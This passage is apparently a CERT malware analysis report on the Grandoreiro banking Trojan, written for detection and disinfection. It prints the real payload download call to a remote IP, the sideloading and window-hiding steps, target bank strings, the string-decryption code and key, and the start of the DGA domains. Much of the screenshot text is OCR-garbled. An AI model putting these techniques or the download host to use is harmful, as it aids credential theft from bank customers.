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1. About this study

This study sets forth the results of the analysis conducted on the Grandoreiro banking
Trojan, also known as Delephant. As a trojan, this malware is designed to have multiple
uses, the most common of which is to create a backdoor on the infected equipment to be
able to download updates and new functions.

The aim of the study is to gather the necessary information to identify the characteristics of
this threat as well as its behaviour and techniques used, allowing traceability of future
versions of the same malware, or its potential impact on other entities in the financial sector,
or even in other sectors.

In addition, there is evidence of the spread of operations conducted with this malware to
Europe, including Spain and Portugal, and it has been active in Latin America since 2015.

The actions carried out for its preparation comprise an analysis within a controlled
environment. The general information obtained is that Grandoreiro is a Trojan developed in
Delphi, a programming language popular for Brazilian malware. It is distributed via phishing,
that is, e-mail campaigns that send malicious attachments or links that redirect to fraudulent
web pages alerting the user to install fake Java or Flash application updates.

Once its low-level modus operandi has been described, a series of countermeasures are
provided to detect this Trojan and, if necessary, to disinfect the affected computer.

GRANDOREIRO ANALYSIS STUDY TLP:WHITE




R Incibe ’ incibe TLP:WHITE]|
N — < cert_

INSTITUTO NACIONAL DE CIBERSEGURIDAD

2. Document structure

This document comprises a 3.-_Introduction part presenting the type of threat that the
Grandoreiro Trojan represents, and mentions its main purpose and some of its
characteristics

Subsequently, a 4.-Technical report part provides detailed information on the infection
routes used by this Trojan, the language in which it is programmed, its functionalities and
mode of action, describing the infection process step by step, as well as the protection
methods used by Grandoreiro to evade security controls.

Subsequently, recommendations and actions to detect the Grandoreiro threat, as well as
the cleaning process, are provided in section 5.- Detection and disinfection .

Finally, section 6.- References lists the references consulted throughout the analysis.

In addition, the document has two annexes: Appendix 1: Indicators of compromise (I0C)
includes the indicator of commitment (IOC) associated to Grandoreiro and Appendix 2: Yara
Rules of detection comprises the Yara rules for the detection malicious samples of this
Trojan.
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3. Introduction

Grandoreiro, is one of the many banking Trojans originating in South America that has
spread its operations to other regions, mainly to Europe. According to ESET researchers, it
has been active since 2015, affecting Latin American countries, mainly Brazil, its country of
origin.

According to researchers, Grandoreiro authors update its code at a remarkable speed, and
even suspect that two variants exist simultaneously, and in 2019 expanded worldwide to
banks in Spain, Mexico and Portugal, as well as adjusting the themes of its distribution
campaigns by taking advantage of the disinformation campaigns and hoaxes surrounding
COVID-19 at the height of the pandemic, especially during 2020.
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4. Technical report

4.1. Infection methods

The most common method of Trojan infection consists of several stages; fist, the target user
receives an e-mail which contains a URL pointing to a fraudulent page. By clicking on the
link included in the fraudulent email received, the user unknowingly downloads the first
element of the process. This is an installer file which, in turn, will download the payload
containing the banking Trojan. However, occasionally this file may be included in the e-mail
as an attachment.

Email con enlace Acceso alaweb Descarga fichero  Ejecucion del
malicioso. fraudulenta. comprimido. fichero instalable.

) _n\;,, :
ey fraudilenta ./ Z|P,—> MSI

Malware descarga Ejecuta el EXE con Compromiso Recoleccion de
datos y los descifra. ~ DLLmaliciosa. del sistema. datos bancarios.

Figure 1: Process of infection with the Grandoreiro banking Trojan

4.2. Programming language, functions and mode of operation

Grandoreiro in a banking Trojan whose name was inspired by the large volume of binaries
generated by the attackers, which exceeded 250 MB. This made it difficult its analysis on
the different online sandboxes platforms, as it exceeded the allowed limit by far.

Several binaries are involved in user engagement. It starts from the initial binary that is
downloaded by the victim. This binary is a compressed file containing an installer. It contains
(msi extension) is the dll (sha256sum:
58084c86acd68c83d84802ef8daa9cdfefdcf34d7fa1b9ale04c4cal124e58382) that acts
as a downloader (malware that downloads the threat from the Internet to the victim's
computer). This binary is programmed in Delphi and compiled with Borland Delphi 7.
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compiler Borland Delphi(7)[-]

linker Turbo Linker(2. 25%,Delphi) [DLL3Z]

Figure 2: dll downloader compiled with Borland Delphi 7

The second dll (sha256sum:
35c0744bec0e123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a) and
which will be discussed later in the study, belongs to the Grandoreiro banking Trojan
family.

As above, programmed in Delphi and compiled with Borland Delphi 7.

compiler Borland Delphi(7)[-]

linker Turbo Linker(2. 25%,Delphi) [DLL3Z]

Figure 3: Trojan dll compiled with Borland Delphi 7

> C @ virustotal.com/quiffile/ed60e39e21a847Tbc2cc209bcd2f9409a685FFFF16c6bb63041d426b17b40F1

I 2d6023962128477bC20c209bcd219409a685 1 16c6bb63041d426017040f1 Q =~
1 8 (1) 18 security vendors and no sandboxes flagged this file as malicious ¢ W
60
ed60e39e21a8477bc2cc209bcd2fP407a685ffff16c6bb63041d426b17fb40f 1 63710 KB 2022-01-3106:57:32 UTC EI
Archiv.Endes.Fact3101rar Size Zdaysago RAR
rar
W Community

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

AhnLab-V3 (@ Trojan/Win.Generic.C4634343 Arcabit (@ Trojan Fragtor.DD765

Avast (D Win32:DropperX-gen [Drp] AG (@ Win32:DropperX-gen [Drp]

BitDefender (D Gen:Variant.Fragter.55141 ClamAV (D WinDownloader.Zusy-9917016-0

Cyren (@ Wa2/Banload FP.genEldorado Emsisoft (@ Gen:Variant.Fragtor55141(8)

eScan () Gen:Variant Fragter.55141 ESET-NOD32 (@) AVariant Of Win32/TrojanDownloader Ba...
Fortinet (1) W32/Banload YSTitr.didr GData () Gen:Variant.Fragtor55141

Kaspersky (D HEUR:Trojan-Downloader\Win32Banload.... Malwarebytes (@) Malware.Al.3797257663

MAX (@ Matware (aiScore=88) Trellix (FireEye) (@ Gen:Variant Fragtor55141

VBA32 (O BScope.TrojanDownloader.Banload ZoneAlarm by Check Point (@ HEUR:Trojan-DownloaderWin32Banload....
Ad-Aware () Undetected AlYac () Undetected

Figure 4: Sample source of analysis

It is a compressed file. Inside there is an installer (msi), which will download the payload
containing the banking Trojan.

In the embedded dll, you can see where the URL is located and where the payload can be
found; this payload is encrypted so as not to be detected from the start by analysis tools.
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[Exports]

nth paddr vaddr size name

Gabinow.dll TILLITTFFDCC

h#t#tap

int32
uint32

Figure 5: Final Trojan download URL

Fist, the user language is verified, and users having set up English as their language are
rejected; if such a user is detected, the process ended. In this way, they ensure that the
target user matches their intended target, and would prevent it from being executed as usual
on any sandbox platform whose language is English.

Cenn beavepaoniie
=

sub_48ADEG proc near
push  ebx

Tt (_festcall ©)(in)System::_linkproc__ LStrToPChar)(v37); push  esi

v7, "English”) ) mov  esi, eax

| Halte(); mov  eax, ds:nSize
call  Gettiem
TNT “me Int327)System::_ linkpro rchsg) (&dword 561438, v43); mov  ebx, eax

1 *)(int))sub_4PNg68)
1 %)(int %, stritgs

(vB);

"))System:: _linkproc__ LStriAsg) (&30,

call  GetSystemDefaultLangID
movzx  eax, ax

3346546774_z1[1]);

mov edx, ds:nsize
4BAFEB)INT) push edx ; nsize
H G T =
Pai push  eax 5 wlang
3 int *, int, int, _: *, int))System::_ linkproc__ LStrCatN)(&v48, 3, vig, &str_[1] CODE call VerL |
t **))sub_4BAAFE, mov. edx, esi
75 T
76 t *, int, int, _: , int))System::_ linkproc__ LStrCatN)( call  strPas ; BDS 20@5-2007 and Del
7 H i mov eax, ebx
: Si es English, sale del programa Tt
79 Vi1, pop esi
80 &str__ 27[1], pop ebx
1 dword_561438) ; retn
82 if ( (unsigned ints) utils::DirectoryExists(System AnsiString) ) sub 43ADBE_endp

Figure 6: User language check

Once you have the URL in the correct format, removing filler characters, download the file
shown below.
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« C @ O 8 149.56.251.1:51551
S User—— ] " .
I [ e extension | size | Tmestamp | hits |
D [EN esgrime.zip 6.5MB 1/28/2022 5:56:58 AM 517
r~Foder— ]
(] Home

0 folders, 1 files, 6.5 MBytes

L s

[ & Select

"@Seamhi

\EH \nvert‘HMask.\

0 items selected

bl Actions

| Archive | | Get list ‘

- 99 server information
HttpFileServer 2.3m
Server time: 2/1/2022 10:38:13 PM
Server uptime: (2 days) 03:26:03

Figure 7: Server hosting the payload

The dll downloads and completes the code so that it can be decompressed later in the
expected path. The attackers make sure that the server registers the user's language, as it
is intended for Spanish users. They add the language to the URL and use the
URLDownloadToFile API function:

URLDownloadToFile(http://149.56.251.1:51551/esgrime.zip?Espaiiol (Spanish,
international), C:\Users\<user>\AppData\Roaming\nowview\AX3346546774.zip)

This file will be stored under path
C:\Users>AppData\Roaming\nownowview\AX3346546774.zip.

& Menu | f:l‘ Port: 51551 | @ You are in Easy mode |

{@ Openin browser http://149.56.251.1:51551 /esgrime.zip 1] Copyto clipboard
Virtual File System Log
o/ 15:04:36 Check update: failed

- B8 esgrimezip 15:06:18 149.56.251.1:1137 Requested GET /esgrime.zip?Espafiol (Espafia, internacional)
15:06:18 149.56.251.1:1137 Fully downloaded - 6.5 M @ 52.0 MB/s - /esgrime_zip?Espafiol (Espafia, internacional)

Figure 8: Simulation of the infection process

After several mathematical operations based on XOR, a zip file is generated in which it can
be unzipped, leaving the dil placed next to the executable (and 2 other dll that the
executable needs), which will be in charge of launching the infection process. The contents
of the downloaded file are decrypted and then decompressed, and a series of files are
placed in the directory.

GRANDOREIRO ANALYSIS STUDY 11 TLP:WHITE
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(| uires.dll 23/04/201913:28 Extension de la apl... 11.443 KB
%] zlibai.dll 30,/08/2021 19.07 Extension de la apl... 163 KB

m

Figure 9: Directory with several files

The malicious dll is dbghelp.dll, which, since it is located in the same directory, will be loaded
as aregular dll by the solodriver.exe executable; this is the first place where it will be looked
for, ignoring the legitimate one in the system.

The application solodriver.exe is part of the Advanced Installer 18.6.1 software and is called
intune.exe.

Therefore, they use a legitimate application to load the malicious dll which controls that the
main application window remains hidden and is not visible, although at the moment of
execution it is briefly displayed before it is hidden again.

If the malicious dll is removed from the same directory where solodriver.exe is located is
executed, we can see what it really looks like and identify that this file hides the Trojan
controlling the displayed windows.

Farmat Character - o/ st A5 B setting of GlR

[E=NNoR ~x=

Visual Web Developer Express

Slibai.dll Visual Studio Express for Windows Fhone

e

-y

uires.dll

solodriver.exe

To continue didk Next.

Figure 10: Window of solodriver.exe when the dll is not in execution
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Apparently, any action triggered by the dll will appear to be performed by solodriver.exe,
since it is in the memory of the executable as just another dll.

=8 chusers! \appdata\roaming\nowvientsolod | property value property i)
"; ‘”“'_‘:t(”"‘ e mds 41881354 ECFDESEET634402557ADIZF mds 762F454463650DB20EI CL60SDDSI6EAL
’5 :m:nﬂ Z”“;T!“" , shal C1FB0BF9297CCASTOEAABFIG0SFIBTEN623CBI2 shal 254509766340977C BOSE2ACFIECBAFFADIAAGERS
& d‘“ ;Ebgub y‘? sha2s6 302085 FSDFATSEL 74269 CBCFAES CA1 AJFO CBB7410A40 C361218D8363477D35 sha2s6 6B21ECDDCS09A2AEIDTILAE, DSFOES0B1D690C2574633A8CLAG
os-stu e
> rich-header us)yl file-type executable valid-from 10/12/2013 - 00:00:00
- fle header (Aug202L) date valid-to 09/12/2023 - 23:59:59
> optional-header (GUI) language English-US offset 0x000E1800
& directories (9) code-page Unicode UTF-16, lttle endian size 0x000019E0 (6624 bytes)
> sections 09.18%) CompanyName Caphyon LTD revision
27 libraries (17)* FileDescription Advanced Installer Intune Tool type
] imports (330) * FileVersion 18610
= InternalName Intune o o=
i ;?;i‘::"’:::’:e (9 Caphyon LD, jflghis reserved. @-\ | < Ususrios » + AppData » Roaming b nowview ~ [ 43 |[ Buscar nowviewe 2]
3 relocations (18662) ProductName T — e e - 0 @
i resources (1) * Product .
ate strings (size) F— 2 Nombre Fecha de modifica... Tipe Tamafio
fix debug (path)
5l manifes (asinvoken) 1§ Descargas 4 dbghelp.dil 28/01/2022 10:22 Extension de laapl.. 260647 KB
/ B Escritorio | &y solodriver.exe 30/08/2021 13:00 Aplicacién 909 KB
G certificate (10/12/2013 - 09/12/2023) = Tientes % wires.dil /0420191328 Extensiondeloapl..  11443KB
0 % libai.dl 30/08/2021 1907  Extension de lo apl.. 163 KB
& solodriver.exe pFile Data  Descnl Value
IMAGE_DOS_HEADER 00000124 014C  Machine IMAGE_FILE_MACHINE 1386
Advanced Installer 18. ase Notes IMAGE_DEBUG TYPE_ 00000126 0005 Number of Sections
MS-DOS Stub Program 00000128 612CF277 Time Date Stamp 2021/08/30 lun 15:00:07 UTC
& IMAGE_NT_HEADERS 0000012C 00000000  Pointer to Symbol Table
Signature 00000130 00000000 Number of Symbols
On August 30th, 2021 Caphyon Ltd. announced the release of Advanced Installer 18.6.1 IMAGE_FILE_HEADER] 00000134 00E0 Size of Optional Header
in Free, Professional, Enterprise and Architect editions. This release is available for IMAGE_OPTIONAL_HEADER 00000136 0122 Characteristics
) - IMAGE_SECTION_HEADER text 0002 IMAGE_FILE_EXECUTABLE IMAC
download on the Advanced Installer website. IMAGE SECTION HEADER rdata 0020 IMAGE FILE LARGE ADDRESS

Figure 11: Applications in the Trojan's execution directory

The dynamic library dbghelp.dll is a sizeable (255M) library, which makes it difficult to
analyse it with certain applications, as often those are limited to smaller binaries, as is the
case with many online malware analysis platforms.

Opening the file with a resource editor reveals why it is so large: it contains 2 1SO-type
similar images.

[ R ke - i == g
Fle Gt Ven Acin Hep 150:1BDDBINDCI 0% | 3 Roaming » nowew » chohep » e » 1008 + 5O <Té] [Bsers0
[ [ v
D) oz 3 B 02 B 0@ —
) -— Nomre : Fechs demociics. T Tamato
IR 1066 P D ==
- ZecuwMG60 : 1048 | L veommwnx 2102 Ao sk
s o gl L ecanmsso SUAR102 Ao sz
e
Ton e
oty
St Tabe
Gursr v
on Group
vantest
=
| sme  sus 7998 3507 booaae: harai; e
e o e i50:2cernmos0:10% [ 3 Reaming » nomicw » dbghelp » e » 1046 » 50 <oy B
Dty
REN=T= 1) RNy I o) T ————
-l Nomere . Fchs demodicn.. T Tomano
! MEDIBADY : 1046
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Figure 12: ISO images inside that make the file larger than usual

The first, MBJDJDBHWDX.bmp, takes 128 MB while the second, ZCCFMYWMGGO.bmp,
weighs 118 MB.
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As the campaign is aimed at users in Spain and Portugal, it seeks to ensure that the
language configuration is country-specific.

CODE : BBDADEED mov eax, [ebptvar 483]

CODE : @8DADIB3 mov edx, offset str Portugu s _ Port.Text |; Pertugués (Portugal)
CODE : @3DADIRE call @system@@LStrCmpSqqrv ; System::_ linkproc__ LStrCmp(woid)
CODE : @8DADIED jnz loc_DADAFR

AT ann A noed |l ] r

Figure 13: Comparing the main language with the Portuguese language

> jmp BBDADAFF
>BODAAFCC moy eax,[BDDBECA]
mou edz,dword ptr [eax]
call dword ptr [edx+30]
cmp al.i
> jne BBDAAFEY
E{i] g eax,eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax],edx
> jmp 88DADAFF
>BBDAAFEY lea eax,[ebp-18]
call BBDAZFES
mouy eax,dword ptr [ebp-18]
mo edx, BDADBEE
call EBLStrCmp
> jne 88DAB289
lea edz,[ebp-241]

Figure 14: Comparing the main language with the Spanish language

Figure 15 makes use of the RTC Portal component. This component is specially designed
for remote desktop control, file sharing and chat applications. As its own website states,
RealThinClient SDK is a flexible and modular framework for building reliable and scalable
cross-platform Applications with Delphi, designed for the Web by utilizing HTTP/S with full
IPv4 & IPv6 support and built-in multi-threading, extensively stress-tested to ensure the
highest stability. By using non-blocking event-driven communication with built-in thread-
pooling, applications built with the RealThinClient SDK can handle thousands of active
connections by using a limited number of threads in a real multi-threaded environment, on
all supported platforms.”
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-TRtcObject #005885FC Sz=4

- TRtcHttpUalues HOB58A1BC Sz=24

- TRtcHttpHeader HOB58A24C Sz=C

.. TStringObject #805AD2608 Sz=8

.. TStringArray #OO5AD2FO Sz=8

..TUploadFileObject #OO5AD3SC Sz=10

..tBinList HOOSBAB7Y Sz=uC

.- EX0bjList #085BBAUC Sz=1C

- TRtcBaseMessage #OB5BBSAB Sz=4

- TRtcThreadCallback #8085BB968 Sz=4

- TRtcThread #005BB9FC 5z=18

-TRtcTimer #005BD2CB Sz=24
-TRtcConnectionProvider #085BE3SC Sz=A9

- TRtcFunctionList #805C33BC Sz=8

- TRtcCommandInfo #885C341C Sz=18

- TRtcClientRequestInfo #OO5C47F8 Sz=8
TRtcDataClientLinkList #885C4A04 Sz=8
TRtcInteractiveResult #885CBDSC Sz=18
TRtcClientHoduleData HOB5CBF3C Sz=14 Captura de escritorio remoto
TRtcPHoduleList #885D13DC Sz=8
TupdateRegionBase #OOCBEY98 Sz=4
TUideoDriver #BBCBEYF8 Sz=60C
TRtcScreenEncoder HOBCC3CCY4 Sz=BC
TRtcScreenCapture HOBCC3DAC Sz=D8
tBinTree #OBCCDCF8 Sz=58
TRtcHWNDPoolUnit #OBCCF808 Sz=4
TRtcSocketBase HBOCCFDCH Sz=78
TRtcSockBaseUnit #00CDO328 Sz=4
TRtcSocket #OOCD24M4 Sz=158
TBaseSockhessage #BOCD785C 3z=38
THMySockBaseSyn HBBCDBF9C Sz=4
THySocKketCliProvunit #OBCDCFA4 Sz=4
THYWinHTTP #BBCEZE98 Sz=4
THyWinInet #OOCE7004 Sz=4

Intercambio de informacion via HTTP

— Intercambio de informacion via Sockets

Figure 15: Examples of use of the RTC Portal component

When the application is started, a series of timers are created. Those timers will periodically
check what is going on in the computer, as well as hide the application used to load the dll.

CODE 1 0uDBI6/C
CODE:90DB367C Oculta_lanzador_solodriver_exe proc near

CODE : @@DE367C 5 CODE XREF: _TALONH1_TimertideMandleTimerip
CODE :@0DB367C push  ebx
CODE : @0DB367D push  offset avisualStudioUl ; "Visual Studio Ultimate”
CODE : @RDB3682 push  offset a32776_1 ; "#32770" BOOL Showindow(
CODE : 0PDB3687 call  Findwindowa
CODE : BADB368C test  eax, eax [in] HWND hwnd,
CODE :08DB368E jz short loc_DB369R [in] int nCmdShow
CODE : 6BDB3636 push  © 3 5W_HIDE )
CODE : 6BDB3632 push  eax 5 hidnd
CODE : @0DE3693 call  Showiindow
CODE : RDE3605
CODE:@@DE3698 loc_DE3695: 5 CODE XREF: Oculta_land solodriver_exe+121:
CODE : @RDB3695 mov eax, ebx
CODE : RDB36IA pop ebx
CODE :62DB3698 retn
Oculta_lanzador_solodriver_exe endp SW_HIDE Hides the window and activates another window.
e 0
; const CHAR aVisualStudioUl[
aVisualstudioUl db 'Visual Studio Ultimate',®
DATA XREF: Oculta_lanzador_solodriver_exetlto
align 4
5 const CHAR a3277e_1[]
a32776_1 db "#32770" 0 ; DATA XREF: Oculta_lanzador_solodriver_exe+6to
align =
CODE : 6RDB36EC
CODE :@PDB3I6BC ; == SUBROUTIMNE -

CODE : BBDB36BC

CODE : 6BDB36EC
CODE:@@DB36BC _TALONHL TimerHideHandleTimer proc near ; DATA
CODE : 6BDB36EC ; TTimer_Crea
CODE : @BDB3IGEC call  Oculta_lanzador_solodriver_exe
CODE : GBDB36CL

CODE:@@DE36CL _TALONHL_TimerHideHandleTimer endp

Figure 16: Finding the solodriver.exe window in order to hide it

First , it uses FindWindowA API to search for the window with the title "Visual Studio
Ultimate" and if found, use its handle to hide it with ShowWindow.
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By | @oso | rioa | [nows | @ Breskooints | ¥ Mapadememoria | () Piace lamadas | =nSE | o) seipt | @] simbolos | < Fuente |  Referencas | ' Hios | 7 snowm
E1P; . BBEE ngaxgheggéem Findwindowa N
BBEC mov ebp,esp EAX  0041585C
EEEY o oavae [ EEx ooszzzes
FF75 0C push dword ptr ss:[ebp+c] ECX L T Do
FF75 08 push dword ptr ss:[febp+s] EDX  004222F4
50 push eax EBP  12D3F758
50 push eax ESP  12DIFTIC
E8 2CFFFFFF call user22.7501FF27 ESI  00S83FFOD dbghelp. 009BIFFO
5D pop ebp EDI  0D00000D
C2 0200 rer =
8B5S 1B mov edx,dword ptr_ss:[ebp+1s] EIP  7501FFES <user3z.Findwindowas
8955 DO mov dword ptr ss:[febp-30],edx
8855 14 mov edx, dnard prr ss:[ebp+ 1ol e IRC G000 0F
A I2n e ZF 0 PF1 AF O
OF 0 SF O DF O
52 push edx
8D55 DO Tea edx,dword ptr ss:[ebp-30 | CF 0 TF 1 IF 1
5> nush erix
= } | actErrar  ARAAAAnn rEBBRE Siecsoey
wai=0 Por defecto (stcal)
1: [espr4] 01333684 "#32770"
2: [esp+8] 0133363C "Visual Studio Ultimate”
. text:7501FFE6 user32.d11:$1FFE6 #103E6 <FindwindowA> 3: [esp+C] 004222F4
4: [esp+10] 013336C1 dbghelp.013336C1
5: [esp+l4] 003BA00Z dbghelp.009BA0DZ

Figure 17: Looking for the window to hide it

Another periodic process is to check that banks are accessed, looking for a series of strings
in the active windows.

Figure 18: Searched
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&"BRNE1L"™

&"ING | Banco online™
&"Liberbank™
&"Unicaja™
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&"Ibercaja™
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&"Cajasur Empresas"™
&"Cajasur Banca Personal™
&"CajaSur - Home™

&"EVD Banco™
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windows linked to Spani

&"Microsoft Network Monitor™
&"Banco do Brasil™
&"Banco bradesco™
&"Banco Bradesco"™
LTCATHE -"

&"Santander"™

&"Internet Banrisul"
&"Banco Safra™

77

&"Mercado Pago |™
&"Internet Banking BNE"
&"Banco Original™
&"UNICRED™
&"agibank.com.br™
&"Internet Banking Banco Int
2772

77

2772

&"Banese™

&£"Banestes"

]

&"Portal Daycowval™

sh banks

ar"™

Figure 19: Searched windows linked to Portuguese banks
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Not all strings are directly accessible in the binary, but when needed, they are decrypted
following an XOR-based algorithm. This takes into account the encrypted string with a key.
The method consists on running through the string and performing character-by-character
operations taking into account its current position and the previous position in between.

o] saipt | @) sirbolos | <> Fuente | £ Referencias | W tiios | < snowmen | b Rearsos | ¢ Trace |

Bou | Bose |

@ preagonts | 8 Mapadememoria | () Piade lamadas | =3 sen
35 cx Febp-3cl Tebp-3c]:"De +|Cocurar #7u

29 02000000 D6 ,D
EAX 00000092
3 feeii® AE24D6759850 | gex oooooooe o
E8 AYAFSEF D = = [)] ecx  ooaespso "5pe"
xor D6,D = 92 I
s I =
a5 Cs a cax,dword Eebp-323 2 1 5 - . 12p8F88C
BA C8015001 edx,dbghelp. 15001C8 - ESP o
8% Sousn oo 92 - 24 (24 es la posicion anterio
5545 cs <:Qebp-22] . —
€6 EGAOFSFF can dbghelp ishice =6E->n
§ TP, 01500135
3875 4 p o1 aword per
< os me dbghﬂp 45801 EFLAGS 00000212
. g8 o _mn.nmhgl.ummn— o Al
BE 01000000 mov_es OF 0 SF O DF O
45 E4 mov. eax Jdword ptr [ebp-1C] : "F5 45 4DNBVXCCE FD3EFMNBVD CMNXC EVXD 3CMBK I HGFM' CFO TFO IF1
OFagesso FF
5C3 Lasterror 00000002 (ERROR_FILE_NOT_FOUND)
335 s Laststatus COODDDOF (STATUSNO_SUCK FILE)
3870 £s
28 s 0028 Fs 0053
5545 s €5 0028 DS oozs
05 Fro00000 g5 goze o5 poze
28c7
o ot ST(0) 00000000000000000000 X87r0 Vacfo 0.0000000
297D E8 ST(1) 00000000000000000000 X87r1 Vacioc 0.0000000
8D45 ST(2) 00000000000000000000 X87r2 Vacio 0.0000000
8855 ST(3) 00000000000000000000 X87r3 Vacio 0. Dnnnnnn
ST(4) 3FFF2000000000000000 xB87r- i

ST(3) Srrrasonno00e0090000 aErs Vacio 2.2009020
ST() 3FFFE00000DODD00000D X87r6 Vacio 1.0000000

FO [ebp-10]:"Santa”

E8 8047FSFF Ahade caracter al string decodificado ST(7) 3FFFE000000000000000 X87r7 Vacio 1.0000000

oo

8345 EC 0Z ~ R SR x87TagWword FFEE

s e eop-1) 2748206759850 X67TW0 3 (vacio) XL 3 (vacio)

LT X87TW_2 3 (vacio) x87TW_3 3 (vacio)
x87Tw_4 3 (vacio) x87TW_5 3 (vacio)
X87TW_6 3 (vacio) 87TW_7 3 (vacio)

8.
8855 FO [ebp-10]: "Santa” pl
H £R Fraseser
ay N y [Por defecto (stdcal)
esp+a] nj;oouo dbghalp.015001A0
eax=92 esprs] 12D
dword pte [ebp-40]=[12D8F84c]=00AGSDOC T = ==
X X 5p+10] O1E20D4 dbghelp.O1E20804
CODE: 01500135 dbghelp. d11: $B0135 #AF535 [2330A427AE24D6759850 | |000): 23 30 A4 27 AE 2] D6 75 98 6D #0w@$0ul] espri4] OOAG2534
wh vocado 1 | g volcac 2 | W Vocado 3 | W volcado 4 | WioVolcado's  D5064 Docoder 506240 | dbghelp. 01500140
Sveer i - © Base64 Encoder baraee
5 060000
120676 o0 00[25 50 A5 0024 00 00 b, .| egeiitring fo Hex
sre s JER = Pl €-Sling ot o o 208D+ | dbghelp. 01£20804
12087894 12| z 2 03 12| 80 a Siguiente letra a afadir a la cadena Afooc
12p8F8as 01 12|90 60 00 00| EQ_SE 4 08T - XOR (Hex) [AB 7 Bl
1zperess 0| 35|00 00 00 00|50 00 00 03 +%: e
T3psFacs o0 00(00 00 00 0000 00 00 00| - 2R
i3D8FaDs 0 00(00 80 6 0000 00 00 00| © i3
1308raE4 | 00 00 00 00(00 0O 00 0O(00 00 00 00(00 00 00 00

12D8F8F4(00 00 00 00[00 DO 00 00(00 00 00 00|00 00 0O 0D
120aF904(00 00 00 00[00 0O 00 00(00 00 00 00|00 00 00 00| :
1208F914(00 00 00 00|00 00 00 00 00

1208F924(00 00 00 00/00 00 00
12D&F934(00 00 00 00/00 0O 00
12DaF944(00 00 00 00|00 00 00
1208F954

¥ Hox view.

Comwert #0@$0ul]

Figure 20: Decryption of chain in order to be used

(s
5
OB E 7D SE PUNBVDCHNXCEVAD SCHBKIHGE

“santa”

import binascii

def decode hex string(data enc,key):
data dec = str()
data _enc = binascii.unhexlify(data enc)
prev = (data enc[0])

for i,c in enumerate(data enc[1:]):
x = ¢ ~ ord(key[i % len(key)])
if x < (prev):
X = X + 255 - prev
else:
X -= prev
if x > 255:
X =X - 255
prev = (c)
data dec += chr(x

return data dec

Figure 21: String decryption algorithm

data="2330A427AE24D675985D"
key="F5454DNBVXCCEFD3EFMNBVDCMNXCEVXD3CMBKIHGFM"

Figure 22: String to be decrypted and the key it uses
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call A04AF3BE
push duvord ptr [ebp-158]
push BDRS458
push BDAS398
lea eax,[ebp-140]
nou edx,5
call ELStrCatN
nov eax,dword ptr [ebp-148]
call FileExists
test al,al

> je BeDA42 41
mnov eax, BDASL7E
call BO4AER14
test eax,eax

> je BODAAZZE
call aepA312e

>BBDAYZ2ZE nov eax, BbAS 480

call BO4AEE1Y
test eax,eax

> je AADAAZ2 Y
call aepn312e

>08DALZ A lea edx, [ebp-168]

nov eax,dword ptr [ebx]
call TApplication.GetExeName
nov eax,dword ptr [ebp-166]

BDAS3DE <AnsiString> 'Bankia.es’

BDAS3IEC <{AnsiString> 'Bankia’

BDAS3IFC <AnsiString> 'BAMK1A®

BDASHBC <AnsiString> 'BLOQUERACESSOSTESPANHA®
BDASH2C <AnsiString> ‘Santander’

BDAS 448 <AnsiString> ‘Home Banking'

BDAS458 <AnsiString> 'BLOQUERACESSOCAIXA_LHK®
BOASH7E <AnsiString> 'CaixaBank’

BDASHBC <{AnsiString> 'Banca Digital’

BDAS4AY <AnsiString> 'BLOQUERACESSOBAHKINTER'
BDASHCY <AnsiString> *.°

BDASHDB <AnsiString> 'B28°’

BDASADC <AnsiString> 'BANKINTER®

BDAS4FB <AnsiString> ‘'BLOQUERACESSOUNICAJA®
BDAS518 <AnsiString> 'Unicaja’

BDAS528 <{AnsiString> 'Hazte cliente -°
BDAS538 <AnsiString> 'BLOQUERACESSOMEDIOLANUM'
BDAS558 <AnsiString> ‘Hediolanum®

Figure 23: Example of some of the words related to the banks intended to be supplanted

If any of them are found during the running processes, it prepares to generated the dynamic
domains that will be queried. Before, it runs the command "ipconfig /flushdns" to clear the
DNS cache.

o | Deuio | L

og | [Netas | @ Ereakpoints | ™8 Mepadememoria | [J/Piadelamades | @sed | Lo scipt | @ simbolos | < Fuente | . References | tios | 57 Snowmen | o Rearsos | & Trace
serr g rExee
5 s

I « - ST W ~|[ocurtar Fru
. sBeC mov ebp, esp eax 00000000
835C 80000000 sub espiso Lo o 00080300 Lrore-File-ti-i-or
8850 oc Mo eb, duord per s :[ebp Cl ECX  oiizpesc Hediolanum
= o X 00000000
e Pheh a2t 6P 123r244
3367 Xor edi, edi Esp 1203E070
a7 Jnc edi ESI 01350804 dbghelp. 01350804
33rs xor_esi,esi | b1 0od00000
sipe test aby,ebx abx:L"ore-File-L1-1-0 3
R 0 o e1p  75:Facsi <kernel32.WinExecs
ea eax, dnord ptr ss: Eebp-
5 pucpens EFLAGs 00000344
7 push edi
T PSPPI SR I + 7 [por defecto etacan)
- - T [espra] 01325€88 “Tpcontig /FIushdns”
0i=0 2i [esprs] 00000000
3: [espec] 1203F24C
it [235110] 01325tAS dbghalp.01329EA
.texti753F2c91 kernelsz.d11:$92co1 #92c91 <winexecs Lespa1) —

0132988 "ipcenfig /Flushd
00000000

4 volcado 1 | 4 vokado2 | Wl volcado3 | #volcadod | Wivolcados | ) Montorizar 1 [ neliocales | 7 struct | 3300t Hiarenrig Ateshangas 0O e dhahelp-nossreic
AscI

ord [1]

30 2F €6 EC[75 73 €8 64|QpCoNtig /T1usha
01329ECE|GE 73 00 OD|FF FF FF FF|13 00 00 0D|2E 66 72 65|ns

untero a SEH Rec
01329845 dbghelp.013298A9
65 64 79 GE|61 6D 69 63|64 GE 73 26 |6F 72 67 00| edynamicdn: =88

- -0

0135080 4| doghelp. 01350804
0004030 | L"or e-File-L1-1-0"
000,

01329F48|FF FF FF FF|01 00 00 00|33 0D 00 0O|FF FF FF FF|y9¥...-3... yyyy
01329F35| 12 00 00 00|2E 73 65 72|76 65 68 51|C a8 6C a9, .er. Servehalfii
e sl

Figure 24: Cleaning DNS cache before generating dynamic domains

Then, using a base of 11 predefined domains, it generates the final dynamic domains
according to the Domain Generator Algorithm (DGA), as shown at Figure 25.
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mou eax,dword ptr [ebp-10] BBDAYEDA <ARsiStringd '.freedynamicdns.org’
mou edx, BDAYEF O Algoritmo Generador de Dominios (DGA). BODAYEF O (RnslStr)ng) :1n..n.n.n'
call @BLStrCmp
> jne 00DAYBSS g> ‘ar
>08DA9B10 1ea ecx, [ebp-46C] 1 *.zapto.org"

oo et boana 7 .- Se le pasan 2 numeros que dividira iString> '3 )

noy eax  dword py y convertira a hexadecimal. iStringy |;servequake-con

ca

